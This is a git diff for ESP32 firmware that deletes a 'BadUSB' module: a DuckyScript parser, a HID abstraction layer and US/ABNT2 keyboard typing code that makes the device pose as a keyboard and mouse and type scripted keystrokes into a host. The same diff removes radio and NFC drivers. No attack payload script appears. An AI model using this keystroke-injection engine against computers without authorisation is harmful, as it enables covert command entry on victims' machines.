hid_hal_mouse_scroll(int8_t wheel); -``` -Scrolls the mouse wheel. - -#### `hid_hal_wait_for_connection` -```c -void hid_hal_wait_for_connection(void); -``` -Blocks execution until the registered driver reports a successful connection. - -### Keyboard Layouts (hid_layouts.h) - -#### `type_string_us` / `type_string_abnt2` -```c -void type_string_us(const char* str); -void type_string_abnt2(const char* str); -``` -Types a full string using the specified layout logic. - -### USB Driver (bad_usb.h) - -#### `bad_usb_init` / `bad_usb_deinit` -```c -void bad_usb_init(void); -void bad_usb_deinit(void); -``` -Initializes the TinyUSB stack and registers the USB driver into the HID HAL. - -### DuckyScript Parser (ducky_parser.h) - -#### `ducky_parse_and_run` -```c -void ducky_parse_and_run(const char *script); -``` -Executes a DuckyScript string line-by-line. - -#### `ducky_run_from_assets` -```c -esp_err_t ducky_run_from_assets(const char *filename); -``` -Loads and runs a script file from the internal storage. - -## Supported DuckyScript Commands - -| Command | Arguments | Description | -| :--- | :--- | :--- | -| `REM` | [Comment] | Comment line (ignored). | -| `DELAY` | [Milliseconds] | Pauses execution for the specified time. | -| `STRING` | [Text] | Types the following text using the active layout. | -| `ENTER` | - | Presses the Enter key. | -| `GUI` / `WINDOWS` | [Key] | Presses the Windows/Command key (optionally with a key). | -| `CTRL` | [Key] | Presses Control + Key. | -| `SHIFT` | [Key] | Presses Shift + Key. | -| `ALT` | [Key] | Presses Alt + Key. | -| `TAB` | - | Presses Tab. | -| `ESC` | - | Presses Escape. | -| `F1` - `F12` | - | Function keys. | -| `UP` / `DOWN` / `LEFT` / `RIGHT` | - | Arrow keys. | -| `HOME` / `END` / `INSERT` / `DELETE` | - | Navigation keys. | -| `PAGEUP` / `PAGEDOWN` | - | Page navigation. | -| `CAPSLOCK` / `NUMLOCK` / `SCROLLLOCK` | - | Lock keys. | -| `PRINTSCREEN` / `PAUSE` / `APP` | - | Special system keys. | -| `MOUSE_MOVE` | [x] [y] | Moves mouse relative to current position (-127 to 127). | -| `MOUSE_CLICK` / `LCLICK` | - | Clicks the left mouse button. | -| `MOUSE_RIGHT_CLICK` / `RCLICK` | - | Clicks the right mouse button. | -| `MOUSE_SCROLL` | [amount] | Scrolls the mouse wheel. | - -## Implementation Details - -- **Decoupling:** By using the HAL, the parser does not need to know if the target is connected via USB or other means. -- **ABNT2 Support:** Includes complex dead-key logic for Brazilian Portuguese characters like accented vowels and the "ç". -- **Performance:** Optimized for speed using `ets_delay_us` for minimal latency between keystrokes (approx 4-5ms per key press/release cycle). diff --git a/firmware_c5/components/Applications/bad_usb/bad_usb.c b/firmware_c5/components/Applications/bad_usb/bad_usb.c deleted file mode 100644 index 6a9d4295..00000000 --- a/firmware_c5/components/Applications/bad_usb/bad_usb.c +++ /dev/null @@ -1,77 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - - -#include "freertos/FreeRTOS.h" -#include -#include "freertos/task.h" -#include "esp_log.h" -#include "tinyusb.h" -#include "class/hid/hid_device.h" -#include "tusb_desc.h" -#include "bad_usb.h" -#include "hid_hal.h" - -static const char *TAG = "BAD_USB_MODULE"; -#define REPORT_ID_KEYBOARD 1 -#define REPORT_ID_MOUSE 2 - -static void usb_hid_send_report(uint8_t keycode, uint8_t modifier) { - uint8_t keycode_array[6] = {0}; - keycode_array[0] = keycode; - tud_hid_keyboard_report(REPORT_ID_KEYBOARD, modifier, keycode_array); -} - -static void usb_hid_send_mouse(int8_t x, int8_t y, uint8_t buttons, int8_t wheel) { - tud_hid_mouse_report(REPORT_ID_MOUSE, buttons, x, y, wheel, 0); -} - -void bad_usb_wait_for_connection(void) { - ESP_LOGI(TAG, "Aguardando conexao USB para executar o payload..."); - while (!tud_mounted()) { - vTaskDelay(pdMS_TO_TICKS(100)); - } - ESP_LOGI(TAG, "Dispositivo conectado. Executando em 2 segundos..."); - vTaskDelay(pdMS_TO_TICKS(2000)); -} - -static bool s_is_initialized = false; - -void bad_usb_init(void) { - if (s_is_initialized) { - ESP_LOGW(TAG, "BadUSB ja esta inicializado. Ignorando nova inicializacao."); - return; - } - busb_init(); - hid_hal_register_callback(usb_hid_send_report, usb_hid_send_mouse, bad_usb_wait_for_connection); - s_is_initialized = true; -} - -void bad_usb_deinit(void) { - if (!s_is_initialized) { - ESP_LOGW(TAG, "BadUSB nao esta inicializado. Ignorando desinstalacao."); - return; - } - ESP_LOGI(TAG, "Finalizando o modo BadUSB e desinstalando o driver..."); - hid_hal_register_callback(NULL, NULL, NULL); - - esp_err_t err = tinyusb_driver_uninstall(); - if (err == ESP_OK) { - ESP_LOGI(TAG, "Driver TinyUSB desinstalado com sucesso."); - } else { - ESP_LOGE(TAG, "Falha ao desinstalar Driver TinyUSB: %d", err); - } - s_is_initialized = false; -} diff --git a/firmware_c5/components/Applications/bad_usb/ducky_parser.c b/firmware_c5/components/Applications/bad_usb/ducky_parser.c deleted file mode 100644 index 41d992c0..00000000 --- a/firmware_c5/components/Applications/bad_usb/ducky_parser.c +++ /dev/null @@ -1,169 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - - -#include "ducky_parser.h" -#include "esp_log.h" -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" -#include "class/hid/hid_device.h" -#include "storage_assets.h" -#include "storage_read.h" -#include "storage_impl.h" -#include "hid_hal.h" -#include "hid_layouts.h" -#include -#include -#include - -static const char *TAG = "DUCKY_PARSER"; -static volatile bool s_abort_flag = false; -static ducky_progress_cb_t s_progress_cb = NULL; -static ducky_layout_t s_layout = DUCKY_LAYOUT_US; - -void ducky_set_progress_callback(ducky_progress_cb_t cb) { s_progress_cb = cb; } -void ducky_set_layout(ducky_layout_t layout) { - s_layout = layout; - ESP_LOGI(TAG, "Keyboard layout set to: %s", layout == DUCKY_LAYOUT_ABNT2 ? "ABNT2" : "US"); -} - -typedef struct { const char* name; uint8_t code; } key_map_t; -static const key_map_t key_map[] = { - {"ENTER", HID_KEY_ENTER}, {"RETURN", HID_KEY_ENTER}, {"ESC", HID_KEY_ESCAPE}, - {"ESCAPE", HID_KEY_ESCAPE}, {"BACKSPACE", HID_KEY_BACKSPACE}, {"TAB", HID_KEY_TAB}, - {"SPACE", HID_KEY_SPACE}, {"CAPSLOCK", HID_KEY_CAPS_LOCK}, {"PRINTSCREEN", HID_KEY_PRINT_SCREEN}, - {"SCROLLLOCK", HID_KEY_SCROLL_LOCK}, {"PAUSE", HID_KEY_PAUSE}, {"INSERT", HID_KEY_INSERT}, - {"HOME", HID_KEY_HOME}, {"PAGEUP", HID_KEY_PAGE_UP}, {"DELETE", HID_KEY_DELETE}, - {"END", HID_KEY_END}, {"PAGEDOWN", HID_KEY_PAGE_DOWN}, {"RIGHT", HID_KEY_ARROW_RIGHT}, - {"RIGHTARROW", HID_KEY_ARROW_RIGHT}, {"LEFT", HID_KEY_ARROW_LEFT}, {"LEFTARROW", HID_KEY_ARROW_LEFT}, - {"DOWN", HID_KEY_ARROW_DOWN}, {"DOWNARROW", HID_KEY_ARROW_DOWN}, {"UP", HID_KEY_ARROW_UP}, - {"UPARROW", HID_KEY_ARROW_UP}, {"NUMLOCK", HID_KEY_NUM_LOCK}, {"APP", HID_KEY_APPLICATION}, - {"MENU", HID_KEY_APPLICATION}, {"F1", HID_KEY_F1}, {"F2", HID_KEY_F2}, {"F3", HID_KEY_F3}, - {"F4", HID_KEY_F4}, {"F5", HID_KEY_F5}, {"F6", HID_KEY_F6}, {"F7", HID_KEY_F7}, - {"F8", HID_KEY_F8}, {"F9", HID_KEY_F9}, {"F10", HID_KEY_F10}, {"F11", HID_KEY_F11}, - {"F12", HID_KEY_F12}, {NULL, 0} -}; - -static uint8_t find_key_code(const char* str) { - if (strlen(str) == 1) { - char c = toupper((unsigned char)str[0]); - if (c >= 'A' && c <= 'Z') return HID_KEY_A + (c - 'A'); - if (c >= '1' && c <= '9') return HID_KEY_1 + (c - '1'); - if (c == '0') return HID_KEY_0; - } - for (int i = 0; key_map[i].name != NULL; i++) { - if (strcasecmp(key_map[i].name, str) == 0) return key_map[i].code; - } - return 0; -} - -static void trim_newline(char* str) { - size_t len = strlen(str); - while (len > 0 && (str[len - 1] == '\r' || str[len - 1] == '\n')) { - str[len - 1] = '\0'; - len--; - } -} - -static bool is_modifier(const char* word, uint8_t* current_mod) { - if (strcasecmp(word, "CTRL") == 0 || strcasecmp(word, "CONTROL") == 0) { *current_mod |= KEYBOARD_MODIFIER_LEFTCTRL; return true; } - if (strcasecmp(word, "SHIFT") == 0) { *current_mod |= KEYBOARD_MODIFIER_LEFTSHIFT; return true; } - if (strcasecmp(word, "ALT") == 0) { *current_mod |= KEYBOARD_MODIFIER_LEFTALT; return true; } - if (strcasecmp(word, "GUI") == 0 || strcasecmp(word, "WINDOWS") == 0 || strcasecmp(word, "COMMAND") == 0) { *current_mod |= KEYBOARD_MODIFIER_LEFTGUI; return true; } - return false; -} - -static void process_line(char* line) { - if (strlen(line) < 2 || strncmp(line, "REM", 3) == 0) return; - char *saveptr = NULL; - char* cmd = strtok_r(line, " ", &saveptr); - if (!cmd) return; - - if (strcmp(cmd, "DELAY") == 0) { - char* arg = strtok_r(NULL, " ", &saveptr); - if (arg) { int ms = atoi(arg); if (ms > 0) vTaskDelay(pdMS_TO_TICKS(ms)); } - } else if (strcmp(cmd, "STRING") == 0) { - char* next_token = strtok_r(NULL, "", &saveptr); - if (next_token) { - if (s_layout == DUCKY_LAYOUT_ABNT2) type_string_abnt2(next_token); - else type_string_us(next_token); - } - } else if (strcmp(cmd, "MOUSE_MOVE") == 0) { - char* arg_x = strtok_r(NULL, " ", &saveptr); - char* arg_y = strtok_r(NULL, " ", &saveptr); - if (arg_x && arg_y) { - int x = atoi(arg_x); - int y = atoi(arg_y); - hid_hal_mouse_move((int8_t)x, (int8_t)y); - } - } else if (strcmp(cmd, "MOUSE_CLICK") == 0 || strcmp(cmd, "LCLICK") == 0) { - hid_hal_mouse_click(MOUSE_BUTTON_LEFT); - } else if (strcmp(cmd, "MOUSE_RIGHT_CLICK") == 0 || strcmp(cmd, "RCLICK") == 0) { - hid_hal_mouse_click(MOUSE_BUTTON_RIGHT); - } else if (strcmp(cmd, "MOUSE_SCROLL") == 0) { - char* arg_w = strtok_r(NULL, " ", &saveptr); - if (arg_w) { - int w = atoi(arg_w); - hid_hal_mouse_scroll((int8_t)w); - } - } else { - uint8_t modifiers = 0; uint8_t keycode = 0; - if (is_modifier(cmd, &modifiers)) { - char* token; - while ((token = strtok_r(NULL, " ", &saveptr)) != NULL) { - if (!is_modifier(token, &modifiers)) keycode = find_key_code(token); - } - } else { keycode = find_key_code(cmd); } - if (keycode != 0 || modifiers != 0) hid_hal_press_key(keycode, modifiers); - } -} - -void ducky_abort(void) { s_abort_flag = true; } -void ducky_parse_and_run(const char *script) { - if (!script) return; - s_abort_flag = false; - char* script_copy = strdup(script); - if (!script_copy) return; - int total_lines = 0; const char *p = script; - while (*p) { if (*p == '\n') total_lines++; p++; } - if (p > script && *(p-1) != '\n') total_lines++; - int current_line = 0; char *saveptr = NULL; - char* line = strtok_r(script_copy, "\n", &saveptr); - while (line != NULL) { - if (s_abort_flag) break; - current_line++; - if (s_progress_cb) s_progress_cb(current_line, total_lines); - trim_newline(line); - process_line(line); - vTaskDelay(pdMS_TO_TICKS(20)); - line = strtok_r(NULL, "\n", &saveptr); - } - if (s_progress_cb) s_progress_cb(total_lines, total_lines); - free(script_copy); -} - -esp_err_t ducky_run_from_assets(const char *filename) { - size_t size = 0; - char *buffer = (char *)storage_assets_load_file(filename, &size); - if (!buffer) return ESP_ERR_NOT_FOUND; - char *script_str = malloc(size + 1); - if (!script_str) { free(buffer); return ESP_ERR_NO_MEM; } - memcpy(script_str, buffer, size); - script_str[size] = '\0'; - free(buffer); - ducky_parse_and_run(script_str); - free(script_str); - return ESP_OK; -} diff --git a/firmware_c5/components/Applications/bad_usb/hid_hal.c b/firmware_c5/components/Applications/bad_usb/hid_hal.c deleted file mode 100644 index a26eab08..00000000 --- a/firmware_c5/components/Applications/bad_usb/hid_hal.c +++ /dev/null @@ -1,74 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#include "hid_hal.h" -#include -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" -#include - -static hid_send_callback_t s_send_cb = NULL; -static hid_mouse_callback_t s_mouse_cb = NULL; -static hid_wait_callback_t s_wait_cb = NULL; - -void hid_hal_register_callback(hid_send_callback_t send_cb, hid_mouse_callback_t mouse_cb, hid_wait_callback_t wait_cb) { - s_send_cb = send_cb; - s_mouse_cb = mouse_cb; - s_wait_cb = wait_cb; -} - -void hid_hal_press_key(uint8_t keycode, uint8_t modifiers) { - if (s_send_cb) { - s_send_cb(keycode, modifiers); - ets_delay_us(5000); // 5ms delay - - s_send_cb(0, 0); - ets_delay_us(5000); // 5ms delay - - vTaskDelay(0); // Yield to prevent WDT starvation - } -} - -void hid_hal_mouse_move(int8_t x, int8_t y) { - if (s_mouse_cb) { - s_mouse_cb(x, y, 0, 0); - ets_delay_us(2000); - vTaskDelay(0); - } -} - -void hid_hal_mouse_click(uint8_t buttons) { - if (s_mouse_cb) { - s_mouse_cb(0, 0, buttons, 0); // Press - ets_delay_us(5000); - s_mouse_cb(0, 0, 0, 0); // Release - ets_delay_us(5000); - vTaskDelay(0); - } -} - -void hid_hal_mouse_scroll(int8_t wheel) { - if (s_mouse_cb) { - s_mouse_cb(0, 0, 0, wheel); - ets_delay_us(2000); - vTaskDelay(0); - } -} - -void hid_hal_wait_for_connection(void) { - if (s_wait_cb) { - s_wait_cb(); - } -} diff --git a/firmware_c5/components/Applications/bad_usb/hid_layouts.c b/firmware_c5/components/Applications/bad_usb/hid_layouts.c deleted file mode 100644 index 91ee9b28..00000000 --- a/firmware_c5/components/Applications/bad_usb/hid_layouts.c +++ /dev/null @@ -1,142 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#include "hid_layouts.h" -#include "hid_hal.h" -#include "class/hid/hid_device.h" -#include - -#ifndef HID_KEY_INTERNATIONAL_1 -#define HID_KEY_INTERNATIONAL_1 0x87 -#endif - -#ifndef HID_KEY_NON_US_BACKSLASH -#define HID_KEY_NON_US_BACKSLASH 0x64 -#endif - -void type_string_us(const char* str) { - for (size_t i = 0; str[i] != '\0'; ++i) { - char c = str[i]; - uint8_t keycode = 0; - uint8_t modifier = 0; - if (c >= 'a' && c <= 'z') { keycode = HID_KEY_A + (c - 'a'); } - else if (c >= 'A' && c <= 'Z') { keycode = HID_KEY_A + (c - 'A'); modifier = KEYBOARD_MODIFIER_LEFTSHIFT; } - else if (c >= '1' && c <= '9') { keycode = HID_KEY_1 + (c - '1'); } - else if (c == '0') { keycode = HID_KEY_0; } - else { - switch (c) { - case ' ': keycode = HID_KEY_SPACE; break; - case '!': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_1; break; - case '@': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_2; break; - case '#': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_3; break; - case '$': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_4; break; - case '%': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_5; break; - case '^': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_6; break; - case '&': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_7; break; - case '*': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_8; break; - case '(': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_9; break; - case ')': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_0; break; - case '-': keycode = HID_KEY_MINUS; break; - case '_': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_MINUS; break; - case '=': keycode = HID_KEY_EQUAL; break; - case '+': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_EQUAL; break; - case '.': keycode = HID_KEY_PERIOD; break; - case ',': keycode = HID_KEY_COMMA; break; - case '/': keycode = HID_KEY_SLASH; break; - case '?': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_SLASH; break; - case ':': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_SEMICOLON; break; - case ';': keycode = HID_KEY_SEMICOLON; break; - } - } - if (keycode != 0) hid_hal_press_key(keycode, modifier); - } -} - -void type_string_abnt2(const char* str) { - for (size_t i = 0; str[i] != '\0'; ++i) { - uint8_t c1 = (uint8_t)str[i]; - uint8_t c2 = (uint8_t)str[i+1]; - - if (c1 == '\'') { - hid_hal_press_key(HID_KEY_BRACKET_LEFT, 0); - hid_hal_press_key(HID_KEY_SPACE, 0); - continue; - } - if (c1 == '"') { - hid_hal_press_key(HID_KEY_BRACKET_LEFT, KEYBOARD_MODIFIER_LEFTSHIFT); - continue; - } - if ((c1 & 0xE0) == 0xC0 && c2 != '\0') { - bool char_processed = true; - if (c1 == 0xC3 && c2 == 0xA7) { hid_hal_press_key(HID_KEY_SEMICOLON, 0); } - else if (c1 == 0xC3 && c2 == 0x87) { hid_hal_press_key(HID_KEY_SEMICOLON, KEYBOARD_MODIFIER_LEFTSHIFT); } - else if (c1 == 0xC3 && c2 == 0xA1) { hid_hal_press_key(HID_KEY_BRACKET_LEFT, 0); hid_hal_press_key(HID_KEY_A, 0); } - else if (c1 == 0xC3 && c2 == 0xA9) { hid_hal_press_key(HID_KEY_BRACKET_LEFT, 0); hid_hal_press_key(HID_KEY_E, 0); } - else if (c1 == 0xC3 && c2 == 0xAD) { hid_hal_press_key(HID_KEY_BRACKET_LEFT, 0); hid_hal_press_key(HID_KEY_I, 0); } - else if (c1 == 0xC3 && c2 == 0xB3) { hid_hal_press_key(HID_KEY_BRACKET_LEFT, 0); hid_hal_press_key(HID_KEY_O, 0); } - else if (c1 == 0xC3 && c2 == 0xBA) { hid_hal_press_key(HID_KEY_BRACKET_LEFT, 0); hid_hal_press_key(HID_KEY_U, 0); } - else if (c1 == 0xC3 && c2 == 0xA2) { hid_hal_press_key(HID_KEY_APOSTROPHE, KEYBOARD_MODIFIER_LEFTSHIFT); hid_hal_press_key(HID_KEY_A, 0); } - else if (c1 == 0xC3 && c2 == 0xAA) { hid_hal_press_key(HID_KEY_APOSTROPHE, KEYBOARD_MODIFIER_LEFTSHIFT); hid_hal_press_key(HID_KEY_E, 0); } - else if (c1 == 0xC3 && c2 == 0xB4) { hid_hal_press_key(HID_KEY_APOSTROPHE, KEYBOARD_MODIFIER_LEFTSHIFT); hid_hal_press_key(HID_KEY_O, 0); } - else if (c1 == 0xC3 && c2 == 0xA3) { hid_hal_press_key(HID_KEY_APOSTROPHE, 0); hid_hal_press_key(HID_KEY_A, 0); } - else if (c1 == 0xC3 && c2 == 0xB5) { hid_hal_press_key(HID_KEY_APOSTROPHE, 0); hid_hal_press_key(HID_KEY_O, 0); } - else if (c1 == 0xC3 && c2 == 0xA0) { hid_hal_press_key(HID_KEY_BRACKET_LEFT, KEYBOARD_MODIFIER_LEFTSHIFT); hid_hal_press_key(HID_KEY_A, 0); } - else { char_processed = false; } - - if (char_processed) { i++; continue; } - } - - uint8_t keycode = 0; - uint8_t modifier = 0; - - if (c1 >= 'a' && c1 <= 'z') { keycode = HID_KEY_A + (c1 - 'a'); } - else if (c1 >= 'A' && c1 <= 'Z') { modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_A + (c1 - 'A'); } - else if (c1 >= '1' && c1 <= '9') { keycode = HID_KEY_1 + (c1 - '1'); } - else if (c1 == '0') { keycode = HID_KEY_0; } - else { - switch (c1) { - case '!': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_1; break; - case '@': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_2; break; - case '#': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_3; break; - case '$': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_4; break; - case '%': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_5; break; - case '&': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_7; break; - case '*': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_8; break; - case '(': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_9; break; - case ')': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_0; break; - case ' ': keycode = HID_KEY_SPACE; break; - case '\n': keycode = HID_KEY_ENTER; break; - case '\t': keycode = HID_KEY_TAB; break; - case '-': keycode = HID_KEY_MINUS; break; - case '=': keycode = HID_KEY_EQUAL; break; - case '_': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_MINUS; break; - case '+': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_EQUAL; break; - case '.': keycode = HID_KEY_PERIOD; break; - case ',': keycode = HID_KEY_COMMA; break; - case ';': keycode = HID_KEY_SLASH; break; - case ':': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_SLASH; break; - case '/': keycode = HID_KEY_INTERNATIONAL_1; break; - case '?': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_INTERNATIONAL_1; break; - case '[': modifier = KEYBOARD_MODIFIER_RIGHTALT; keycode = HID_KEY_BRACKET_LEFT; break; - case '{': modifier = KEYBOARD_MODIFIER_RIGHTALT; keycode = HID_KEY_BRACKET_LEFT; modifier |= KEYBOARD_MODIFIER_LEFTSHIFT; break; - case ']': modifier = KEYBOARD_MODIFIER_RIGHTALT; keycode = HID_KEY_BRACKET_RIGHT; break; - case '}': modifier = KEYBOARD_MODIFIER_RIGHTALT; keycode = HID_KEY_BRACKET_RIGHT; modifier |= KEYBOARD_MODIFIER_LEFTSHIFT; break; - case '\\': keycode = HID_KEY_NON_US_BACKSLASH; break; - case '|': modifier = KEYBOARD_MODIFIER_LEFTSHIFT; keycode = HID_KEY_NON_US_BACKSLASH; break; - } - } - if (keycode != 0) { hid_hal_press_key(keycode, modifier); } - } -} diff --git a/firmware_c5/components/Applications/bad_usb/include/bad_usb.h b/firmware_c5/components/Applications/bad_usb/include/bad_usb.h deleted file mode 100644 index d41371a7..00000000 --- a/firmware_c5/components/Applications/bad_usb/include/bad_usb.h +++ /dev/null @@ -1,25 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#ifndef BAD_USB_H -#define BAD_USB_H - -#include - -void bad_usb_init(void); -void bad_usb_deinit(void); -void bad_usb_wait_for_connection(void); - -#endif diff --git a/firmware_c5/components/Applications/bad_usb/include/ducky_parser.h b/firmware_c5/components/Applications/bad_usb/include/ducky_parser.h deleted file mode 100644 index 0949761a..00000000 --- a/firmware_c5/components/Applications/bad_usb/include/ducky_parser.h +++ /dev/null @@ -1,39 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#ifndef DUCKY_PARSER_H -#define DUCKY_PARSER_H - -#include -#include -typedef void (*ducky_progress_cb_t)(int current_line, int total_lines); - -typedef enum { - DUCKY_LAYOUT_US = 0, - DUCKY_LAYOUT_ABNT2 = 1 -} ducky_layout_t; - -typedef enum { - DUCKY_OUTPUT_USB = 0, - DUCKY_OUTPUT_BLUETOOTH = 1 -} ducky_output_mode_t; -void ducky_set_output_mode(ducky_output_mode_t mode); -void ducky_parse_and_run(const char *script); -void ducky_set_progress_callback(ducky_progress_cb_t cb); -void ducky_set_layout(ducky_layout_t layout); -esp_err_t ducky_run_from_assets(const char *filename); -esp_err_t ducky_run_from_sdcard(const char *path); -void ducky_abort(void); - -#endif // DUCKY_PARSER_H diff --git a/firmware_c5/components/Applications/bad_usb/include/hid_hal.h b/firmware_c5/components/Applications/bad_usb/include/hid_hal.h deleted file mode 100644 index 8f21c41c..00000000 --- a/firmware_c5/components/Applications/bad_usb/include/hid_hal.h +++ /dev/null @@ -1,32 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#ifndef HID_HAL_H -#define HID_HAL_H - -#include - -typedef void (*hid_send_callback_t)(uint8_t keycode, uint8_t modifiers); -typedef void (*hid_mouse_callback_t)(int8_t x, int8_t y, uint8_t buttons, int8_t wheel); -typedef void (*hid_wait_callback_t)(void); - -void hid_hal_register_callback(hid_send_callback_t send_cb, hid_mouse_callback_t mouse_cb, hid_wait_callback_t wait_cb); -void hid_hal_press_key(uint8_t keycode, uint8_t modifiers); -void hid_hal_mouse_move(int8_t x, int8_t y); -void hid_hal_mouse_click(uint8_t buttons); -void hid_hal_mouse_scroll(int8_t wheel); -void hid_hal_wait_for_connection(void); - -#endif diff --git a/firmware_c5/components/Applications/bad_usb/include/hid_layouts.h b/firmware_c5/components/Applications/bad_usb/include/hid_layouts.h deleted file mode 100644 index 2e4bdffe..00000000 --- a/firmware_c5/components/Applications/bad_usb/include/hid_layouts.h +++ /dev/null @@ -1,24 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#ifndef HID_LAYOUTS_H -#define HID_LAYOUTS_H - -#include - -void type_string_us(const char* str); -void type_string_abnt2(const char* str); - -#endif diff --git a/firmware_c5/components/Core/kernel.c b/firmware_c5/components/Core/kernel.c index 265247c1..b228aebb 100644 --- a/firmware_c5/components/Core/kernel.c +++ b/firmware_c5/components/Core/kernel.c @@ -15,7 +15,6 @@ #include #include "buttons_gpio.h" -#include "cc1101.h" #include "freertos/FreeRTOS.h" #include "freertos/task.h" #include "driver/gpio.h" @@ -59,7 +58,6 @@ void kernel_init(void) { led_rgb_init(); bq25896_init(); - cc1101_init(); spi_bridge_slave_init(); diff --git a/firmware_c5/components/Drivers/CMakeLists.txt b/firmware_c5/components/Drivers/CMakeLists.txt index 962a0e3a..34ca9a2b 100644 --- a/firmware_c5/components/Drivers/CMakeLists.txt +++ b/firmware_c5/components/Drivers/CMakeLists.txt @@ -16,26 +16,20 @@ idf_component_register(SRCS "bq25896/bq25896.c" "buzzer/buzzer.c" - "cc1101/cc1101.c" - "pn7150/pn7150.c" "led/led_control.c" "spi/spi.c" "spi_slave/spi_slave_driver.c" "i2c_init/i2c_init.c" - "tusb_desc/tusb_desc.c" "buttons_gpio/buttons_gpio.c" INCLUDE_DIRS "bq25896/include" "buzzer/include" - "cc1101/include" - "pn7150/include" "led/include" "pins/include" "spi/include" "spi_slave/include" "i2c_init/include" - "tusb_desc/include" 